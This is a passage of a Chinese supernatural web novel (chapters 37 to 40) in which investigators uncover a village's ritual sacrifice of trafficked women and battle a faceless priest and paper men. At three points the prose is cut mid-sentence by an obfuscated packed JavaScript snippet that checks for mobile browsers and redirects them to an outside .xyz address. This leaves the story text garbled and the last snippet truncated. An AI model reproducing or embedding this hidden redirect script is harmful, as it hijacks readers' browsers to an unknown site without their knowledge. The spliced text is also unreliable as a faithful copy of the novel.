“你为什么会昏倒?是有人袭击了你?还是你看到了什么?” 刘栋海苦笑一声。“我听到院子里有开门的声音,以为是你们回来了,但又不敢出去看,就拿了手机的照相去看门缝外面。然后,” 他狠狠咽了口唾沫,才接着说:“然后,我就从手机上看到了我妈的脸。” “你妈?”新记明重复了一遍,又改口:“你看到了你母亲的脸?” “对。”刘栋海脸上浮现出恐惧。“我父母早就去世了,这次回村也是为了扫墓啊!就算进‘故事’了,大坟那里不是也有我父母的墓吗?怎么我会看到我妈的脸呢?!” 新记明问:“关于你母亲,有什么传闻吗?或者关于你村里的女人,有什么传闻吗?” 刘栋海心里“咯噔”一下,可他面上还是一副糊涂样子:“没有啊,我妈生了我们兄弟四个,一直操劳家里,是个特别贤惠温柔的女人,怎么会有不好的传闻呢?外面的人我不清楚,但是村里的女人们也很照顾家里,充其量就是喜欢说些闲话罢了。” 他想到了什么,连连拍腿。“哎呀,您不会是听了我外姨婆说的那些肮脏闲话,就想多了吧?她没文化,讲也讲不出什么好听的啊!” 新记明没有被刘栋海绕弯子绕进去。他“好奇”道: “你误会了。我只是想从传闻下手,找找这次的‘故事’有什么规律。信息掌握的越多,规矩就越清楚,也更容易找到‘核心’。” “哦,‘核心’啊,那是要找……” 刘栋海的话说到一半,被新记明紧追的问话噎住了。 “我听你在大坟那说了几句话,‘钉子’、‘锤子’,那是什么意思?” “嗐,就是我老家的说法,带的纸钱来祭坟,这就是‘钉子’,把纸钱烧掉,就叫把‘钉子送下去’。地上还活着的儿女亲戚之类的,都叫‘锤子’,意思是上面还有人在镇着,不怕来年没纸钱烧。就是图个让地下的人心安的说法罢了。” 刘栋海把编的这一长串话说完,轻不可察地吐了口气。他飞速复盘了一下,正觉得都圆上了,就听新记明问: “‘钉子户’呢?” “啊…嗯…带的纸钱多的,就叫‘钉子户’了,也就是‘富户’、‘富库’……” 刘栋海说的舌头打结。 “是吗?”新记明的语气没什么变化,刘栋海不好判断他是信了还是没信。 “你二姑丈还总是说‘祭品’要‘新鲜’、‘不新鲜了’,这倒也是奇怪。咱们一起去的大坟,除了篮子里的纸钱,还带什么祭品了吗?还是跟新鲜度挂钩的?” 刘栋海被问得后背冒汗。 “这……这我怎么会知道呢?我也是跟您一起去的啊。” 新记明点了点头,转而问了他别的问题。 楼上,林清原也在问外姨婆问题。 本来外姨婆受了一番刺激,不适合再问话。 然而在准备睡觉前,林清原看着敞开的房门,冷风不停歇的冒进来,就又去尝试关门。 外姨婆看着林清原作无用功,乐得直笑。 “门关不上的,不要关啦。” “怎么了?” “祭拜期间,‘钉子户’的门是必须要敞开的。” 听到“钉子户”,林清原顺势问了下去。 “‘钉子户’是什么意思?” 看着坐到身旁的林清原,外姨婆很开心。她伸手把林清原搂在怀里,像搂自己的娃娃那样。 “女人就是‘钉子’啊,‘钉子’里需要用祭品锤掉的,就是‘钉子户’啊。” “祭品锤?掉?”林清原往门外瞧了瞧,没有要来人的迹象,才扭头继续问:“我们都是‘钉子户’?” 外姨婆笑得欢快:“祭品锤,哎呦呵呵呵……哪有什么祭品锤,只有‘锤子’。用祭品,锤掉‘钉子’,‘钉子’打在地下,可不成‘钉子户’了?你又没生过小孩,当不了‘钉子户’,就是‘钉子’。” 林清原想起二姑丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976393|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看外姨婆的阴冷眼神,心里有些不安。 “那祭品又是什么?怎么‘锤掉钉子’?” 外姨婆又哭哭啼啼了。 “‘钉子’是祭品,听话的女人就不是‘钉子户’了。我跑了,我肯定要当‘钉子户’了。要被流血,要被埋掉。好痛的。” 林清原赶紧安抚她:“没有这回事!你没跑,怎么会当‘钉子户’呢?不会流血,不会被埋,不会痛的。”她搬出刘栋海的骗人说法,“这里可是刘栋海研究的幻境,你什么时候跑过?没有的事!” 外姨婆揉了揉眼睛,说:“当‘钉子’也痛,每次埋掉‘钉子户’,都要‘锤子’去打‘钉子’,才能让‘钉子户’安安分分的。” 林清原尝试理解:“你是说,生了小孩的女人如果想要逃跑,就是‘钉子户’,就要被埋了?埋的时候还需要作为祭品的‘钉子’,嗯……‘锤子’让‘钉子’受伤流血,就是祭品了?” 林清原回想了今晚发生的一切,逐渐猜对了身份:“‘锤子’就是男人?” 不过她还有件事不明白。 “刘栋海为什么会说,‘全等着钉子户’了?难道是指‘旺家’需要落个‘钉子户’才能旺?” 出乎意料的,外姨婆连这个都知道。 “这是在问他爹的意思呢。问他‘一个钉子户够不够,不够了就再添一个’。” 林清原抓住了这句话的隐藏含义:“难道他爹的墓里已经有一个‘钉子户’了?可那不是他父母的墓吗?” 她的话突然顿住了。她想到了那个可能。 外姨婆接上嘴。 “是啊。大海他妈,就是个‘钉子户’。” 联系到外姨婆说过的村里的女人基本都是被拐卖来的,林清原对刘栋海的母亲的身份也有了猜想。 那么作为儿子的刘栋海,他从小长在这个村子,他会不知道这个村里的事情吗?他会不知道他母亲的情况吗? 不,他一定知道。而且“钉子”和“锤子”的含义,他也一定知道!那么这种祭拜、这些规矩,他也一定知道! 林清原拿起手机,打算给新记明发消息,让他针对性地套话,但是看到对话框里的上一段假聊天记录,就又放下了手机。 现在手机变得不可靠了。虽然也能发出去正常的消息,但是也有可能会出变故。 以防万一,还是等明天一早,见了面再亲自说吧。 林清原看着地上的由院子投进来的灯光,心绪杂乱。 祭品。 她默默念了几遍,发现了一个问题。 外姨婆的脑子有些不清醒,她说的那些话也有些乱。可是“每次埋掉‘钉子户’,都要‘锤子’去打‘钉子’,才能让‘钉子户’安安分分的”这句话似乎并不是乱说的。 让“钉子户”“安分”?被埋的“钉子户”不是应该已经死了吗?还能怎么安分?难道是活埋的?到底是让谁安分? 林清原正想问外姨婆,就听到她轻轻地说起话来——有一点像哼歌,也有一点像念词: “尖把把,生果果。宽锤锤,砸朵朵。祭品多,落血坨。代生土,佑祝锣。” 林清原听不清她说的具体是哪些字,就问:“这些话你们每次祭拜都会说吗?” 外姨婆傻笑了一下:“不是咧。道士说的,他天天在村里教我们,说是大坟祭拜的时候要用到呢。” 林清原有种预感。她会见到这个道士的。 38. 道士 第二天清晨,林清原早早的就起了。 准确来说,她一晚上没怎么睡。 屋子里没有被子,门也关不上,睡觉太冷,林清原怕出意外,干脆就坐在床上,背靠墙眯了一夜。 天刚蒙蒙亮,林清原就待不住了。她走出门来到走廊,却惊讶地发现外面起了好大的雾,能见度只到院子外面一点。 她等了又等,想着等太阳彻底起来了雾就该散了,谁知雾越来越大。到最后天都彻底阴下来了。 林清原又给警察局打去了电话,得到的回复是雾太大,进山不方便,等雾小些了再来。 这个回复不出所料。 “故事”的规模从来不算大,就算有扩张范围的手段,最后也会被强制封锁掉。 打完电话,外姨婆也醒了。 于是林清原领着外姨婆去院子里锻炼。 林清原练每日功课,外姨婆在一旁跟着练了一会儿,就去厨房里做饭去了。 等林清原开始练剑的时候,刘栋海屋的门被打开了。 新记明看到林清原,一愣。然后就自然地走过来加入了训练。 “怎么起这么早?”新记明问。 “睡不着了。昨晚你手机出什么问题没?” “没。你呢?” 林清原靠近新记明,压低声音和他聊天。 二人的动作一致,交谈也清晰迅速。 旁人看着,只会觉得他们是默契十足的练武搭档,实际上他们已经悄然将各自打探到的消息共享了。 信息交流的差不多了,功也练的差不多了。林清原抱剑在一旁休息,监督新记明练腿上功夫。 没错,作为新记明教她“凌雪剑法”的交换,她也传授了一部分“飞鹤腿”的基础打法。 她也问过新记明要不要拜入她门下,学一些更精进的招式,不过被拒绝了。 “身子要软。腰再低下去点儿,腿绷直!” 林清原指导着,心里暗爽。 怪不得新记明教她剑法教的那么起劲,搞得一副倾囊相授的样子,她还以为新记明对她有点别的企图。 原来是当老师当上瘾。 正练着,外姨婆从厨房里出来了。 “吃饭咧。”她利索地把饭菜都端到大厅。 林清原也去端菜。新记明则去屋里喊刘栋海起床。 外姨婆做的饭卖相一般,吃起来味道也一般。但胜在热乎、量大。 几个人吃了个足。 起先外姨婆还要躲厨房里吃饭,被林清原拦回来了。后来刘栋海也让她坐下吃饭,她才拘谨地坐到了离饭桌稍远一点的地方。 吃过饭,林清原还在思考在大雾天气下能做什么时,外面传来了隐隐约约的声音。 声音由远及近,每一声之间都隔了相同的间隙。 是锣声。 这锣声不似寻常锣声那般清脆,而是有些沉闷,每一声都穿透了浓厚的雾气,压到人跟前。 最开始离得远,这股压劲儿还不明显,越往后越强,让人听到都要喘不过气。 林清原打开院门向外看去。 自浓雾中,逐渐显出了一个人的身影。 来人穿着黑色的道士长袍,头戴的道冠垂了一圈的穗子,随着他的走动微微摇晃。他左手持着足有半人高的铜锣,铜锣上似乎包了一层黑布。而右手的锣锤从袖中伸出,敲上铜锣,发出极迫人的一声响后便停住不动,将敲下一次的时候才重新扬起。 林清原握紧手中的剑,紧张地看着道士走近。 昨天刚说感觉会很快见到道士,今天就见到了。 直到道士快走到院门口,林清原才看清道士的具体样子。 他竟然没有脸! 本该是脸的地方,由一只只手骨组成,连他的整个脑袋,都是从道袍里伸出的一只只手骨缠绕成了头,盖在了道冠下。 而他的道袍上也覆盖着数不尽的黑色雾气,看不清衣袍的原本颜色。 锣上包的也不是黑布,而是黑色雾气。 铛。 又是一声锣响。 她看到道士的右边袖子空空荡荡,从肩膀处延下来的只有一根细细的棍子。 ——是锣锤。 道士没有右胳膊!他的右胳膊就是锣锤! 道士走到院门口的时候,脚步停下了。他微微偏头,“看”向了几人。 道士没有眼睛,不知道他到底在看谁。 不过道士只停了几秒,就扭回头,继续向前走了。 眼看道士即将消失在雾里,林清原觉得不能错过这个机会,匆匆留下“有事打视频联系”,抬脚就追了上去。 新记明拧着眉呆立了会儿,转身问刘栋海:“你二姑丈家在哪?” 询问清楚后,新记明就由着刘栋海带路,去二姑丈家看看。一路上遇到昨晚见过的其他人的房子,也进去看了。 然而看了好几家,家里都是空的,一个人都没有。 外姨婆说:“我昨天就拍过门了,都没人给我开门。” 刘栋海状似无意地问道:“是不是都去找‘钉子户’了?” 外姨婆听到这句话后,浑身发抖,哭着“啊”了几声,停在原地不肯走了。 新记明关切地询问女人的情况,但是她的情绪没有什么好转,开始哭诉一些含糊的话。 “什么?”新记明听不懂。 刘栋海拉过外姨婆的胳膊,解释道:“外姨婆她脑子不太好,小时候生了场大病,差点死了,好了之后就傻傻的。平时看着没大问题,就是有时候会犯浑。这大雾天的,又刚见到一个怪物,估计是犯病了。” 新记明理解地点点头。 几人来到一间空屋子休息。新记明站在一旁护卫,刘栋海则贴心安抚着外姨婆,让她渐渐安静下来。 刘栋海轻拍着外姨婆的胳膊,他面上虽有焦急之色,内心却平静了。 看外姨婆的反应,她大概没有把“钉子”“锤子”一类的话讲给林清原听。 昨晚他把外姨婆赶走之后,看到林清原上了楼,才想起来外姨婆也知晓村里的事。 尽管她是女人,小时候也被打傻了,但是她可是一直都待在村里的!就连最近村里来了个道士的事,也是她说了,大家才知道的。 刘栋海知道村里的规矩,知道女人不值钱,但是女人作为“钉子”还有用。而这次的“故事”,已经很明显和“钉子户”有关了。 这种信息不是不能说,而是不敢说。 林清原是女的,还一副嫉恶如仇的性格,她要是知道了这些破事,万一她临时毁约、不继续这个委托了怎么办? 刘栋海一直都是靠“护卫”委托通关的,他一点也不想测试自己的能力,只想安稳活下去。 所以这些可能会引发变故的话,都不敢讲给万事屋的人听。 而思来想去,自己这边的嘴严实,外姨婆那边可不一定啊。 唯一让他有些定心的,就是外姨婆小时候要被打死的那次,是因为一个“钉子户”被打的。也正是从那顿打开始,她就不太信生人了,而且一听到有关“钉子”、“锤子”的话,就会发疯,说话颠三倒四的,很容易被误认为是胡言乱语。 不过刘栋海还是不太放心,这才在路上出言试探。 好在外姨婆的反应还是同从前差不多。 这让刘栋海担忧的心彻底放下来了。 虽然说缺少了这些信息,万事屋的那些人可能会找错通关的方向,但是他已经基本猜到“核心”是什么了。 等到万事屋的人走错了路,他再出来讲出“核心”的事,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991567|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能令他们高看一眼。而承了他的情,等从“故事”里出去,他把这个“情”转到现实的合作上,岂不是顺水推舟的事? 刘栋海在这边想的美滋滋,而另一边,林清原还在跟着道士跑。 道士对林清原的呼喊充耳不闻——可能因为他本来就没有耳朵。 林清原跑到他前面堵住他的路,他也直接从林清原身体里穿过去了。 林清原打了一个哆嗦。 好冷! 她抿了抿嘴。这是碰上“鬼道士”了啊! 于是她不强求道士停下脚步了,她人就在后面不远不近地跟着,看这道士什么时候自己停下。 不过她没看到,就在道士穿过她的身体的时候,她背上背着的古剑,再次闪过了一抹红光。 道士走了半个小时——自林清原遇见他之后。林清原看着手机掐着点计的。 她跟了半小时,耳朵也被锣声震了半小时。 直到道士停下了,林清原仿佛还能听见一声又一声的锣响。 道士站着,盯着前方的大雾,不知道在看什么。 林清原耐心地陪着他一块儿看。 等了一会儿,林清原的手机收到了一条消息。 新记明发的:“你那边情况怎么样?” 林清原思索了一下,给新记明打了视频电话。 新记明很快接通。他的表情严肃:“发生什么事了吗?需要我去支援吗?” “你问我情况了?” 新记明愣了一下,答:“对。我本来想直接打视频的,但是怕你在要紧关头,就先发个消息问一下。” 刘栋海的脑袋从屏幕一旁挤进来。 “林总,您那边没事吧?那道士呢?” 林清原把摄像头翻转,给对面看自己面前的道士。 刘栋海“呜”了一声逃走了。 新记明的脸重回屏幕。 “你们交手了?” “没呢,他不动了。我在等。你在哪儿?不在屋里吗?”林清原辨认了一下新记明那边的背景,看起来不像是民宿。 新记明告诉她,他们去村子里找昨晚上村民们的踪迹了。然而所有地方都是空的,好像整个村庄都只有他们几人存在。 林清原沉思了一下,说:“那行。你们还是先回去吧。我之后也回去。等汇合后,咱们再去大坟看看有什么变化没。” 就在这时,道士有了动作。他转过身,正对了林清原。 林清原见状,挂断了视频,微调了一下身姿,反手握住了剑柄,随时准备迎接攻击。 想象中的攻击并没有来。 道士开口说话了,声音闷闷的,像是从肚子里发出来的。 “大坟规矩不能破,祭品封印全套做。锤子锤钉定土包,避免作恶再来到。” 林清原思考着这番话的含义。 规矩?封印?避免作恶? 道士又敲起了锣。 这回边敲,他边唱。 敲一声,唱一句。 “尖把把,生果果。宽锤锤,砸朵朵。祭品多,落血坨。代生土,佑祝锣。锣声响,喜事夺。” 林清原还想跟上去,却在下一声锣响时,眼前的场景变成了红色,耳边也开始出现杂音。 “救救我……” “放我走……” “我想回家……” 她踉跄了脚步,双手捂住耳朵,可是这些女人的声音还是不停地在耳边响起。 铛。 又一声锣响。 林清原晕倒在地。 她的手机收到一条新消息,上面显示还是新记明发来的: “你在哪?” 同一时间,新记明的手机也收到了来自林清原发的消息。 “快!来大坟!!!” 39. 纸人来袭 不知过了多久,林清原醒来了。 她头疼欲裂,古剑掉落在一旁,身边已经不见了道士的身影。 她拾起古剑,发现剑身上多了一条红色的线,延伸到剑尖。 她伸手摸上去,剑身平整没变化。 这红线像是长在剑上似的。 林清原撑着剑站起来。她脑袋还有些晕。 她看见了手机上新记明发来的同一开始如出一辙的消息,敲字回问道:“你见到道士了吗?” 对面立马回道:“在大坟。” 林清原边打出视频电话,边往回赶。 新记明接了电话。 他的脸看上去有些红,说话气喘吁吁的。 “道士也在大坟,他正在布阵。二姑丈他们也在,大坟要被掀了!” “谁要掀大坟?道士?他掀大坟干嘛?” “要封印……咳。” 新记明那边传来打斗的声音。 过了一会儿,新记明的声音才再次传来。 “道士要封印整个大坟,我们在阻止他。二姑丈他们和道士是一伙的,我这人手不够。你在哪?快来帮忙!大坟被封了,所有人都会被困住!” 林清原让新记明别着急。“你稳住,我正在赶过去。你搞清楚封印是怎么回事了吗?” “已经从刘栋海那问出来了。封印就是把‘钉子户’封在地下,让她永世不能再出来,并且用自身作养料,滋养这家的气运。你快来,我再撑一会儿。” 林清原喊新记明,让他看着自己。 等新记明正脸看过来,她说:“新记明,我想回家了。” 新记明似乎被这句话震惊住了,怔了好一会儿后,露出了一个温柔的笑容: “我们很快就能回家了。” 林清原也温柔的笑了。 两人隔着手机相望,时间仿佛被无限拉长。 这种安宁很快在林清原的下一句问话中破碎。 “你叫什么名字?” 新记明微微张嘴,脸上尽是疑惑。 “你为什么会这么问?” 林清原眼神温和,她注视着屏幕上新记明的脸,却是在透过这张脸看向那一端的另一个人。 “我知道你不是新记明。” 视频通话突然卡住。 时间不再走动,影像也不再移动。 大屏中,新记明的眼角流下血泪,小屏中,林清原的画像也流下了血泪。 手机屏幕闪过了一阵阵乱码,在扭曲的画面中,“新记明”和“林清原”七窍流血,逐渐褪色。 就在这时,透过黑掉的屏幕,林清原看到自己身后出现了一个身影。 林清原转身劈了过去。 一颗人头落地,在地上滚走了。 林清原认出这颗人头是昨晚见过的村里人。 无头尸体倒在地上,什么声响都没有,轻飘飘的,好像一张纸。 下一刻,尸体真的变成了一张人形的纸。 就像奇怪的纸钱一样,人形纸上也写了个大大的“钱”字。 林清原还没来得及查看,余光就瞥见从雾中又钻出了别的人。 同样是村里的人。各个面露凶相,挥舞着尖利的长指甲扑了上来。 林清原提剑迎上。 这些纸人哪怕被捅了心肝肺,也动作不停,只有将其头砍下,才会变回纸人模样。 不多时,林清原脚边落了一层厚厚的纸片。 可是这些纸人还是不停歇地冲出来。 林清原都看到好几次同一张脸了! 再缠下去会体力不支,于是林清原勉强砍出一条路后,就跑了。 纸人们在身后穷追不舍。 林清原在浓雾中狂奔。可是跑了许久,眼前的场景还是很熟悉。 她拿起手机查看地图,却显示没有网。 林清原不自觉握紧了手中的剑。 难道就逃不出去了吗? 身后的纸人扑近,眼看就要碰到林清原的衣角—— 一道红光闪过——纸人的身体断成了两节。而断裂的纸身却没再像之前那样落在地上,火星从断处燃过,几个呼吸间就将纸人烧成了灰。 林清原瞪大了双眼—— 她的动作不停,干脆利落地举剑砍向纸人,古剑上萦绕着红光,一砍一劈间都带起了浓重的杀气—— 可是这并不是林清原自己的行动! 与其说纸人是林清原持古剑杀的,应该说是古剑带着林清原杀的! 浓重的寒意从古剑中传至胳膊,林清原想要松手,却根本挣脱不开。 纸人从四面八方围了上来,古剑带着林清原的身子一扭,软腰斜倒去,脚下步子飞点,一轮轮剑圈就斩上了纸人的身体。 纸人来了多少,古剑就斩了多少。 到最后,纸人彻底没有了,林清原人也要转吐了。 古剑脱手砸在地上,林清原跪下干呕,却保持不住平衡了,身子一歪倒下了。 手机铃声响了又响,一遍打完又继续打。 林清原缓了很久才接起。 新记明焦急的声音传来:“林清原?你在哪儿?你没事吧?林清原?” 林清原把手机举起,露出自己的脸,强撑着露出了一个虚弱的笑容。 “一切都好。” 新记明本来看到林清原的脸后,焦急的神色稍缓,结果定睛一看,林清原脸色惨白,活像书中被妖怪吸了精气、命不久矣的人,立马急得又来了串连环问。 “你在哪儿?报位置!我去接你!” 刘栋海的脸也从新记明肩膀后冒出:“哎呦林总!您这是怎么了?” 林清原没忍住,又干呕了好几声。 刘栋海略带茫然的声音从手机中传来:“这……林总看我看吐了?” 林清原勉力坐起,冲着电话摆了摆手。 “没事儿。刚打了场群架。你们在哪儿呢?你那有什么情况吗?” “我们还在民宿。之前收到了你发来的消息,说要去大坟,然后我就一直给你打电话,你才接通。”新记明两句话解释完了。 “好。我这就回去。见面再说。” 林清原重新捡回剑,正打算挂了电话,却被新记明止住,不仅一路保持了电话畅通,还被迫开了实时位置共享。 就这样,林清原回程的路只走了三分之一,就遇到了来接她的新记明。 新记明身边还跟着刘栋海和外姨婆。 外姨婆见到林清原,就快步走了过来,粗粝的手左摸摸,右摸摸。 虽然林清原没有外伤,可还是把外姨婆心疼住了。 刘栋海有些诧异外姨婆怎么会对林清原这么上心,可是现在所有人都在,他也不好再试探什么。 林清原被新记明扶着回去了。 本来她觉得别扭,拒绝了,结果新记明不知是那根筋犟了,说“那我就背着你”,这才让她退了一步,同意被扶着走路了。 回去的路上,林清原就把她遇到的事都说了。不过她隐瞒了自己的古剑冒红光这件事,只说是自己杀了很久的纸人。 “大坟,事情又转到大坟上去了啊。”刘栋海听得后怕。“还有那道士,到底是个什么来历?他是不是想把咱们全杀了?” 外姨婆插话:“那道士是个好人啊。他教我们念咒,还要教我们咋生儿子、咋发财呢。” 新记明问起道士的具体细节。 有了更详细的引导,外姨婆透露出的消息也更详细了。 据她所说,道士是在一周前突然来村子里的,算命算的很准,谁家生了几个儿子、几个女儿,都能算出来。于是村里人凑了一些钱,想让道士算算他们什么时候能挣大钱。 道士算过之后,就说再等几天,他会起阵,让大家在此之前,把村里的坟包都迁到村后面的一块风水宝地上去,简称“大坟”。 等他在大坟做过法后,村子的运势就会转好,家家都能生儿子、人人都能挣大钱。 刘栋海听着生气:“这不就是骗人的吗!” 外姨婆反驳:“才不是咧!那道士可厉害了,算的可准!我们不识字,他就一句句教我们念咒语,说可以保平安。他来的那几天,村里都不兴打人了。”她得意地笑了一下,“打人要犯冲,生不出儿子了!” 刘栋海几句把话题扯了过去。 他悄悄看了眼林清原和新记明的脸色,不确定他们是否注意到女人刚才说的“打人”的事了。 但看这两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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新记明的动作猛地顿住。他咽了好几口唾沫,才说:“只是说是一种浪漫,没有十指不沾阳春水的意思。本来家里的饭也基本都是厨师包的,也用不着亲自做饭。” 他红着耳朵说完,才敢瞥向林清原,却见后者早在说完那句话后,就凑到了外姨婆身边把她的食材交过去了,压根没在意他的解释。 新记明心里乱糟糟的。他又在乱想了。 [林清原……老婆……不对!什么老婆!我没想娶林清原当老婆!她连鸡蛋都打不好……不过我会做饭,做的饭也好吃。家里也有厨师,怎么着都用不着她做饭。] 他想象了一下自己叫林清原为“老婆”的场景。他以为自己会觉得别扭,结果越想越脸红心跳,直接沉浸在幻想中无法自拔了。 “你不会是发烧了吧?” 林清原的手摸上了新记明的额头。 新记明瞪大了眼睛,不可置信地看向林清原,喉结滚了好几下。 “我刚才说的话你听到没?你现在要是烧起来了,只能先撑一下了,这里没有药,只能出去了才有。” 林清原摸过新记明的额头后,手就放下来了。 是有一点热,但是不严重。应该没事。 新记明紧张地眨眼,说话都有些磕绊。 “没事。厨房有些热罢了。你刚才说什么了?” 林清原说:“之前咱们不是讨论过这次‘故事’的主角、配角嘛。刚才我忽然想明白了,主角确实不是咱们的人。是那个道士。而且最重要的一部分情节,就在大坟那。” 她凑近新记明耳边,和他说了古剑出现红线的事。 新记明接过古剑细细端详。 红线确实如林清原所说,像是原本就印在剑身上的。 想了想,新记明拿着剑来到了院子里,舞了几招正宗的“凌雪剑法”。 几招过去,古剑没有变化。 新记明的手抚上红线,却被刺了一下。 他伸手一看,自己的手指出血了,伤口像是被剑划出来的。 他觉得奇怪,自己明明没有碰到剑刃,怎么会被划到呢? 林清原看到伤口,心里隐隐不安,就把古剑拿了回来,暂时绑起来了。 这个小插曲并没有打乱原先的计划。 几人吃过饭后,就往大坟去了。 40. 混乱 几人来到大坟的时候,雾已经散了大半。 堆起的土包在昨夜看起来还很阴森,等到了白日再看,虽然没有阳光照过来,但是也不是很吓人了。 几人有些踌躇。 说是来大坟看看情况,可真来到了,也没找到有值得注意的情况。 村民们不在,道士也不在。 “奇了怪了,明明看着道士原路回去了啊。” 林清原竖起耳朵,想听听有没有道士敲锣的声音,可是除了些微的风声,什么都没有。 新记明仔细把每个土包周围都检查了一遍。 检查完,几人更茫然了。 他们还是第一次遇见这种情况,“故事”情节像是卡住,除了他们这几个“译者”以外,没有别人,也没有推动情节发展的事情。 “要不,咱们再回民宿吧?二姑丈他们是昨晚出现的,可能要等到今晚他们才会再出来。”刘栋海提议道。 新记明沉思道:“可是林清原说她把那些纸人都杀死了。如果这些村民是纸人,那它们还会再出现吗?” 这话一下子把其余人问住了。 林清原转了几圈,说:“要不然扒坟吧。” “什么?”刘栋海以为自己听错了。 “扒坟。”林清原重复了一遍。“大坟肯定是最重要的场景。表面上看不出什么,那就把坟都扒开,看看藏里面的是什么。‘故事’情节不走了,咱们总不能干等,能推一把是一把。” “不行不行!既然知道大坟是最重要的,那就更不能动了啊!万一把坟搞坏了,出了不得的变故了怎么办?!” 刘栋海急的额头上都冒了几颗汗。他心里暗暗着急:这林清原看上去顶多是随性了点,行事作风竟然这么胡闹! 林清原眨了眨眼,说:“其实我之前已经扒过一个坟了。” 刘栋海嘴唇都在抖,连说几声“胡闹!”,然后问:“你…扒了谁的坟?” 林清原轻咳了一声,脸偏向一旁,手指了下刘栋海父母的坟的位置。 毕竟是当着当事人的面指认扒的是他家的坟,饶是林清原性子再大大咧咧,此刻也不免有些尴尬。 刘栋海眼白一翻就要晕过去,被新记明接住了。 刘栋海哭天抢地:“林总!你怎么能扒我家的坟!你!” 林清原挠了挠脸,解释道:“你家的坟不是没迁嘛,这都是假的。而且你还被坟里伸出的手抓住了,我肯定要查查到底是怎么回事。” 刘栋海认命地闭上了眼。 林清原说的没错。他家真正的坟不在这里,这里的坟只是“故事”的一个“设定”。而且他当时被坟里的鬼手抓住,也是林清原救了他。 于情于理,刘栋海都怪不到林清原身上。 做了好久的心理建设,刘栋海终于松口:“那就开始扒吧。” 每个人都被分到了坟包。 林清原有古剑当工具,其他人也捡了品相完好的墓牌当了工具。 不是他们想用墓牌当铲子,而是远处的树林走不过去。不用墓牌挖,就只能用手挖、用脚踢。 几人忙活了一阵,把坟包都扒光了。 越挖,林清原心底越沉。 如果坟包里有线索还好,相反,坟包里什么都没有,只有土,连块骨头都看不到。 刘栋海一屁股坐到了地上。 “怎么都是空的?” 外姨婆也搞不明白。 “就是啊,难道还没把坟挪过来吗?那昨晚上他们拜什么呢?” 林清原思考了一会儿,把目光移到了主坟上。 这个坟包昨天就扒过了,里面也是空的。所以刚刚的扒坟行动,就略过了这个坟。 新记明注意到林清原的目光,走过去把主坟又扒开了。 上面一层还是只有土。但是往下挖的时候,有东西显出来了。 林清原发觉了异样,过去一起挖。 等到坟全部扒开,所有人都被震惊了。 坟里没有尸体,没有骨头,只有满满的纸钱。 风一吹,纸钱打着旋飞出,露出了埋藏在更下面的纸钱。 “怎么会这么多?我上次挖的时候,这里一片纸都没有。” 林清原蹲下身,抓起一把纸钱。 纸钱和昨晚祭拜时候的纸钱并无一二。 “这些纸钱到底是什么?你们祭拜从来都是用这种吗?”林清原问刘栋海。 刘栋海支支吾吾的还未说话,外姨婆已经说了: “这种钱是给‘钉子户’的。” 刘栋海惊恐地看向外姨婆,他没想到这女人能直接说出来。 这时,林清原突然眼神凌厉地看向了刘栋海背后。 几人顺着她的目光看去—— 道士悄无声息的出现了。 道士举起右手的落锤,就要敲上铜锣。 林清原心里有不好的预感,压了身子就冲了过去。 然而道士的动作比她更快。 铛—— 锣声响,一道看不见的音波袭过大坟。 主坟里的纸钱被震得漫天飞舞,混淆了众人的视线。 大坟地上还残留着昨夜祭拜时女人们留下的血,此时这些血痕像是有了生命,飞快地延伸、交叉在一起,组合成了一个圆形的图案。 林清原在和道士打斗。 虽然林清原碰不到道士,但是她手里的剑可以。 剑招如狂风骤雨般向道士打去,道士却接的游刃有余。 向来锋利的剑刃,砍上道士右手的锣锤,却是连一道痕迹也留不下来。 新记明正打算上前帮忙,随着道士的锣声响起,数不尽的纸钱化作了数不尽的村民,朝刘栋海和外姨婆抓来。 场面一下混乱起来。 刘栋海大叫着躲避,外姨婆也哭着乱跑。 新记明一心三用,用手里的墓牌作剑,挡住袭击,勉强护住了刘栋海和外姨婆。 不过他一个人的力量终究有限,纸人们的攻击源源不绝,刘栋海和外姨婆还是被不小心抓伤了,新记明也负伤了。 血液飞溅到地上,染到了血色图案上。 血液被吸收,图案变得愈发繁复。 在某一瞬间,道士转变了敲锣手法,转而快速的敲击。 随着这急促的锣声,地上的血色图案开始亮起,白色雾气再次出现。 林清原总算看出来了,这不是普通的图案,这是一个阵法! 她心里闪过一个念头:如果成柳现在在这就好了。 在逐渐变浓的雾气中,有窃窃私语传来。 刚开始林清原没有注意听,她还在和道士缠斗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 